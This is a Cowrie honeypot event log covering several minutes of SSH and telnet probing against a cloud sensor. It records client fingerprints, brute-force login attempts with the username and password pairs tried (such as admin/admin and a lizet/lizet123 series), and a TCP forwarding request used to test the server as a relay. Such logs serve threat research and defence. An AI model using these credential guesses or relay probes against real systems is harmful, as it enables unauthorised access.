{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.239413Z","src_ip":"87.251.64.176","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.395142Z","src_ip":"87.251.64.176","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.685209Z","src_ip":"87.251.64.176","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.784739Z","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.883104Z","src_ip":"87.251.64.176","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:14.982816Z","src_ip":"87.251.64.176","session":"0f635bd0ad5f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.78576350212097,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:32:53.354476Z","src_ip":"129.232.238.42","session":"14ce98e9b91b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.224.12.45","src_port":40028,"dst_ip":"159.203.135.109","dst_port":23,"session":"358359feb78d","protocol":"telnet","message":"New connection: 148.224.12.45:40028 (159.203.135.109:23) [session: 358359feb78d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:33:12.453404Z"}
{"eventid":"cowrie.session.closed","duration":15.160531282424927,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:33:27.613780Z","src_ip":"148.224.12.45","session":"358359feb78d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.164.217.74","src_port":56719,"dst_ip":"159.203.135.109","dst_port":22,"session":"cbe81d96263d","protocol":"ssh","message":"New connection: 69.164.217.74:56719 (159.203.135.109:22) [session: cbe81d96263d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:34:45.732492Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:34:45.737236Z","src_ip":"69.164.217.74","session":"cbe81d96263d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:34:45.741102Z","src_ip":"69.164.217.74","session":"cbe81d96263d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":49232,"dst_ip":"159.203.135.109","dst_port":22,"session":"349e14f5677b","protocol":"ssh","message":"New connection: 193.24.211.100:49232 (159.203.135.109:22) [session: 349e14f5677b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:07.623893Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:07.637421Z","src_ip":"193.24.211.100","session":"349e14f5677b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:07.973763Z","src_ip":"193.24.211.100","session":"349e14f5677b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"100","message":"login attempt [root/100] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:08.404642Z","src_ip":"193.24.211.100","session":"349e14f5677b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:09.517254Z","src_ip":"193.24.211.100","session":"349e14f5677b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":42466,"dst_ip":"10.17.0.5","dst_port":22,"session":"6ed8e18663f5","protocol":"ssh","message":"New connection: 103.15.226.202:42466 (10.17.0.5:22) [session: 6ed8e18663f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:29.410659Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:29.415513Z","src_ip":"103.15.226.202","session":"6ed8e18663f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:29.673500Z","src_ip":"103.15.226.202","session":"6ed8e18663f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsx1qaz","message":"login attempt [root/2wsx1qaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:30.454918Z","src_ip":"103.15.226.202","session":"6ed8e18663f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:31.717504Z","src_ip":"103.15.226.202","session":"6ed8e18663f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.173.169.189","src_port":46942,"dst_ip":"159.203.135.109","dst_port":23,"session":"9aff9b0ddb50","protocol":"telnet","message":"New connection: 101.173.169.189:46942 (159.203.135.109:23) [session: 9aff9b0ddb50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:38.462785Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":49154,"dst_ip":"159.203.135.109","dst_port":23,"session":"f7b1c4458c15","protocol":"telnet","message":"New connection: 69.6.249.0:49154 (159.203.135.109:23) [session: f7b1c4458c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:50.315351Z"}
{"eventid":"cowrie.session.closed","duration":13.16610836982727,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:35:51.628763Z","src_ip":"101.173.169.189","session":"9aff9b0ddb50","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":35496,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3e4bc5de3b8","protocol":"ssh","message":"New connection: 2.57.122.208:35496 (159.203.135.109:22) [session: a3e4bc5de3b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:09.277579Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:09.840550Z","src_ip":"2.57.122.208","session":"a3e4bc5de3b8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:09.844549Z","src_ip":"2.57.122.208","session":"a3e4bc5de3b8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:11.722858Z","src_ip":"2.57.122.208","session":"a3e4bc5de3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.8","message":"Connection lost after 3.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:13.120777Z","src_ip":"2.57.122.208","session":"a3e4bc5de3b8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.16027569770813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:21.475535Z","src_ip":"69.6.249.0","session":"f7b1c4458c15","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":63386,"dst_ip":"10.17.0.5","dst_port":22,"session":"67c27a740124","protocol":"ssh","message":"New connection: 213.209.159.56:63386 (10.17.0.5:22) [session: 67c27a740124]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:45.637634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:45.646372Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:45.728333Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet","message":"login attempt [lizet/lizet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:46.126864Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet1","message":"login attempt [lizet/lizet1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:47.212126Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet123","message":"login attempt [lizet/lizet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:48.297980Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet1234","message":"login attempt [lizet/lizet1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.383312Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":37392,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ecc8a05fe15","protocol":"ssh","message":"New connection: 87.251.64.176:37392 (10.17.0.5:22) [session: 7ecc8a05fe15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.455137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.460213Z","src_ip":"87.251.64.176","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.564245Z","src_ip":"87.251.64.176","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.887300Z","src_ip":"87.251.64.176","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:49.986797Z","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:50.084378Z","src_ip":"87.251.64.176","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:50.183216Z","src_ip":"87.251.64.176","session":"7ecc8a05fe15","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lizet","password":"lizet12345","message":"login attempt [lizet/lizet12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:50.468416Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:36:51.555456Z","src_ip":"213.209.159.56","session":"67c27a740124","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":50842,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d04db50dd18","protocol":"telnet","message":"New connection: 129.232.238.42:50842 (159.203.135.109:23) [session: 7d04db50dd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:38:24.790599Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":37578,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe376bf60bb1","protocol":"ssh","message":"New connection: 103.15.226.202:37578 (10.17.0.5:22) [session: fe376bf60bb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T14:39:06.126829Z"}
